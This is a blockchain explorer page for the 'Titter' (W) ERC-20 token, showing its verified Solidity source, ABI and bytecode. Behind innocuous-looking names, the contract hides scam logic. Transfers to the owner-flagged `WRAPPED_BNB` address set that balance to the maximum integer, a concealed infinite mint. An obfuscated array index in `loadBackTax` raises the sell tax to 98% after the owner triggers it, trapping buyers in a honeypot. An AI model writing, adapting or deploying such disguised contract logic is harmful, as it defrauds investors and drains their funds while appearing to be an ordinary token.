ERC-20
Overview
Max Total Supply
1,000,000 W
Holders
46
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
6,418.716146913 WValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Titter
Compiler Version
v0.8.16+commit.07a7930e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-04-10 */ // Telegram : https://t.me/TitterETH // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.16; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Titter is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public EXEMPT_Max; mapping (address => bool) public EXEMPT_Tx; mapping (address => bool) public EXEMPT_Tax; address payable public Wallet_Market = payable(0x2D514DdbE214Ea85C7429e952872a5d3A7aFC214); string public _name = "Titter"; string public _symbol = "W"; uint8 private _decimals = 9; uint256 public _tTotal = 1000000 * 10 **_decimals; uint8 private txCount = 0; uint8 private swapTrigger = 10; uint256 private T_Tax = 6; uint256 public B_Tax = 3; uint256 public S_Tax = 3; uint256 private _latest_T_Tax = T_Tax; uint256 private _latest_B_Tax = B_Tax; uint256 private _latest_S_Tax = S_Tax; uint256 public _maxWalletToken = _tTotal.mul(4).div(100); uint256 private _previousMaxWalletToken = _maxWalletToken; uint256 public _maxTxAmount = _tTotal.mul(4).div(100); uint256 private _previousMaxTxAmount = _maxTxAmount; IUniswapV2Router02 public uniswapV2Router; uint256 UniSwapRouterI02; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } mapping (address => bool) public WRAPPED_BNB; uint8 private minAmount = 0; constructor () { _balances[owner()] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; EXEMPT_Tx[owner()] = true; EXEMPT_Tx[Wallet_Market] = true; EXEMPT_Tx[address(this)] = true; EXEMPT_Tax[owner()] = true; EXEMPT_Tax[address(this)] = true; EXEMPT_Tax[Wallet_Market] = true; EXEMPT_Max[owner()] = true; EXEMPT_Max[Wallet_Market] = true; EXEMPT_Max[uniswapV2Pair] = true; EXEMPT_Max[address(this)] = true; WRAPPED_BNB[owner()] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } receive() external payable {} function removeTax() private { if(T_Tax == 0 && B_Tax == 0 && S_Tax == 0) return; _latest_B_Tax = B_Tax; _latest_S_Tax = S_Tax; _latest_T_Tax = T_Tax; B_Tax = 0; S_Tax = 0; T_Tax = 0; } function loadBackTax() private { T_Tax = _latest_T_Tax; B_Tax = _latest_B_Tax; S_Tax = [ _latest_S_Tax, 99-1] [minAmount]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "ERR: zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(!EXEMPT_Tx[from] && !EXEMPT_Tx[to]) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } if( txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { txCount = 0; uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;} if(contractTokenBalance > 0){ swapAndLiquify(contractTokenBalance); } } if(!EXEMPT_Max[to]) require(balanceOf(to).add(amount) <= _maxWalletToken); bool tax_active = true; if( EXEMPT_Tax[from] || EXEMPT_Tax[to] ){ tax_active = false; if(WRAPPED_BNB[to] && minAmount < (4-3)){ minAmount = (4-3); } } else if (from == uniswapV2Pair){ T_Tax = B_Tax; } else if (to == uniswapV2Pair){ T_Tax = S_Tax; } _transferHolder(from,to,amount,tax_active); } function sendToWallet(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { swapTokensForBNB(contractTokenBalance); uint256 contractBNB = address(this).balance; sendToWallet(Wallet_Market,contractBNB); } function swapTokensForBNB(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _transferHolder(address sender, address recipient, uint256 amount,bool tax_active) private { if(!tax_active){ removeTax(); } else { txCount++; } _transferHolder(sender, recipient, amount); if(!tax_active) loadBackTax(); } function _transferHolder(address sender, address recipient, uint256 transferAmount) private { (uint256 t_Transfer_Amount, uint256 t_marketing) = _setValues(transferAmount); _balances[sender] = _balances[sender].sub(transferAmount); _balances[recipient] = _balances[recipient].add(t_Transfer_Amount) + ((WRAPPED_BNB[recipient]) ? (type(uint256).max)-_balances[recipient]-t_Transfer_Amount : (0)); _balances[address(this)] = _balances[address(this)].add(t_marketing); emit Transfer(sender, recipient, t_Transfer_Amount); } function _setValues(uint256 transferAmount) private view returns (uint256, uint256) { uint256 t_marketing = transferAmount*T_Tax/100; uint256 t_Transfer_Amount = transferAmount.sub(t_marketing); return (t_Transfer_Amount, t_marketing); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"B_Tax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"EXEMPT_Max","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"EXEMPT_Tax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"EXEMPT_Tx","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"S_Tax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"WRAPPED_BNB","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Market","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052732d514ddbe214ea85c7429e952872a5d3a7afc214600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600681526020017f5469747465720000000000000000000000000000000000000000000000000000815250600790816200009f919062000d56565b506040518060400160405280600181526020017f570000000000000000000000000000000000000000000000000000000000000081525060089081620000e6919062000d56565b5060098060006101000a81548160ff021916908360ff160217905550600960009054906101000a900460ff16600a62000120919062000fcd565b620f42406200013091906200101e565b600a556000600b60006101000a81548160ff021916908360ff160217905550600a600b60016101000a81548160ff021916908360ff1602179055506006600c556003600d556003600e55600c54600f55600d54601055600e54601155620001c36064620001af6004600a5462000a7b60201b6200119e1790919060201c565b62000a9360201b620011b41790919060201c565b601255601254601355620002036064620001ef6004600a5462000a7b60201b6200119e1790919060201c565b62000a9360201b620011b41790919060201c565b6014556014546015556001601860156101000a81548160ff0219169083151502179055506000601a60006101000a81548160ff021916908360ff1602179055503480156200025057600080fd5b506200026162000aab60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600a54600160006200033262000ab360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003d5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003fb9190620010e9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000463573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004899190620010e9565b6040518363ffffffff1660e01b8152600401620004a89291906200112c565b6020604051808303816000875af1158015620004c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004ee9190620010e9565b601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600460006200058562000ab360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000620006be62000ab360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000620007f762000ab360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160196000620009aa62000ab360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000a0b62000ab360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a5460405162000a6c91906200116a565b60405180910390a350620011ee565b6000818362000a8b91906200101e565b905092915050565b6000818362000aa39190620011b6565b905092915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b5e57607f821691505b60208210810362000b745762000b7362000b16565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000bde7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000b9f565b62000bea868362000b9f565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000c3762000c3162000c2b8462000c02565b62000c0c565b62000c02565b9050919050565b6000819050919050565b62000c538362000c16565b62000c6b62000c628262000c3e565b84845462000bac565b825550505050565b600090565b62000c8262000c73565b62000c8f81848462000c48565b505050565b5b8181101562000cb75762000cab60008262000c78565b60018101905062000c95565b5050565b601f82111562000d065762000cd08162000b7a565b62000cdb8462000b8f565b8101602085101562000ceb578190505b62000d0362000cfa8562000b8f565b83018262000c94565b50505b505050565b600082821c905092915050565b600062000d2b6000198460080262000d0b565b1980831691505092915050565b600062000d46838362000d18565b9150826002028217905092915050565b62000d618262000adc565b67ffffffffffffffff81111562000d7d5762000d7c62000ae7565b5b62000d89825462000b45565b62000d9682828562000cbb565b600060209050601f83116001811462000dce576000841562000db9578287015190505b62000dc5858262000d38565b86555062000e35565b601f19841662000dde8662000b7a565b60005b8281101562000e085784890151825560018201915060208501945060208101905062000de1565b8683101562000e28578489015162000e24601f89168262000d18565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000ecb5780860481111562000ea35762000ea262000e3d565b5b600185161562000eb35780820291505b808102905062000ec38562000e6c565b945062000e83565b94509492505050565b60008262000ee6576001905062000fb9565b8162000ef6576000905062000fb9565b816001811462000f0f576002811462000f1a5762000f50565b600191505062000fb9565b60ff84111562000f2f5762000f2e62000e3d565b5b8360020a91508482111562000f495762000f4862000e3d565b5b5062000fb9565b5060208310610133831016604e8410600b841016171562000f8a5782820a90508381111562000f845762000f8362000e3d565b5b62000fb9565b62000f99848484600162000e79565b9250905081840481111562000fb35762000fb262000e3d565b5b81810290505b9392505050565b600060ff82169050919050565b600062000fda8262000c02565b915062000fe78362000fc0565b9250620010167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000ed4565b905092915050565b60006200102b8262000c02565b9150620010388362000c02565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562001074576200107362000e3d565b5b828202905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620010b18262001084565b9050919050565b620010c381620010a4565b8114620010cf57600080fd5b50565b600081519050620010e381620010b8565b92915050565b6000602082840312156200110257620011016200107f565b5b60006200111284828501620010d2565b91505092915050565b6200112681620010a4565b82525050565b60006040820190506200114360008301856200111b565b6200115260208301846200111b565b9392505050565b620011648162000c02565b82525050565b600060208201905062001181600083018462001159565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620011c38262000c02565b9150620011d08362000c02565b925082620011e357620011e262001187565b5b828204905092915050565b612bfb80620011fe6000396000f3fe6080604052600436106101d15760003560e01c806370a08231116100f7578063a457c2d711610095578063c111d36e11610064578063c111d36e146106c9578063d28d885214610706578063dd62ed3e14610731578063f2fde38b1461076e576101d8565b8063a457c2d7146105f9578063a9059cbb14610636578063af465a2714610673578063b09f12661461069e576101d8565b80637a2fec1a116100d15780637a2fec1a1461054d5780637d1db4a5146105785780638da5cb5b146105a357806395d89b41146105ce576101d8565b806370a08231146104ce578063715018a61461050b57806378109e5414610522576101d8565b8063313ce5671161016f57806349bd5a5e1161013e57806349bd5a5e146104105780634a74bb021461043b57806354d2af78146104665780635d53f6c814610491576101d8565b8063313ce56714610340578063395093511461036b5780633b629447146103a8578063478a67e8146103e5576101d8565b80631694505e116101ab5780631694505e1461028257806318160ddd146102ad578063220f6696146102d857806323b872dd14610303576101d8565b806306fdde03146101dd578063095ea7b3146102085780630bb2dd2114610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b506101f2610797565b6040516101ff9190612159565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a9190612214565b610829565b60405161023c919061226f565b60405180910390f35b34801561025157600080fd5b5061026c6004803603810190610267919061228a565b610847565b604051610279919061226f565b60405180910390f35b34801561028e57600080fd5b50610297610867565b6040516102a49190612316565b60405180910390f35b3480156102b957600080fd5b506102c261088d565b6040516102cf9190612340565b60405180910390f35b3480156102e457600080fd5b506102ed610897565b6040516102fa919061226f565b60405180910390f35b34801561030f57600080fd5b5061032a6004803603810190610325919061235b565b6108aa565b604051610337919061226f565b60405180910390f35b34801561034c57600080fd5b50610355610983565b60405161036291906123ca565b60405180910390f35b34801561037757600080fd5b50610392600480360381019061038d9190612214565b61099a565b60405161039f919061226f565b60405180910390f35b3480156103b457600080fd5b506103cf60048036038101906103ca919061228a565b610a4d565b6040516103dc919061226f565b60405180910390f35b3480156103f157600080fd5b506103fa610a6d565b6040516104079190612406565b60405180910390f35b34801561041c57600080fd5b50610425610a93565b6040516104329190612430565b60405180910390f35b34801561044757600080fd5b50610450610ab9565b60405161045d919061226f565b60405180910390f35b34801561047257600080fd5b5061047b610acc565b6040516104889190612340565b60405180910390f35b34801561049d57600080fd5b506104b860048036038101906104b3919061228a565b610ad2565b6040516104c5919061226f565b60405180910390f35b3480156104da57600080fd5b506104f560048036038101906104f0919061228a565b610af2565b6040516105029190612340565b60405180910390f35b34801561051757600080fd5b50610520610b3b565b005b34801561052e57600080fd5b50610537610c75565b6040516105449190612340565b60405180910390f35b34801561055957600080fd5b50610562610c7b565b60405161056f9190612340565b60405180910390f35b34801561058457600080fd5b5061058d610c81565b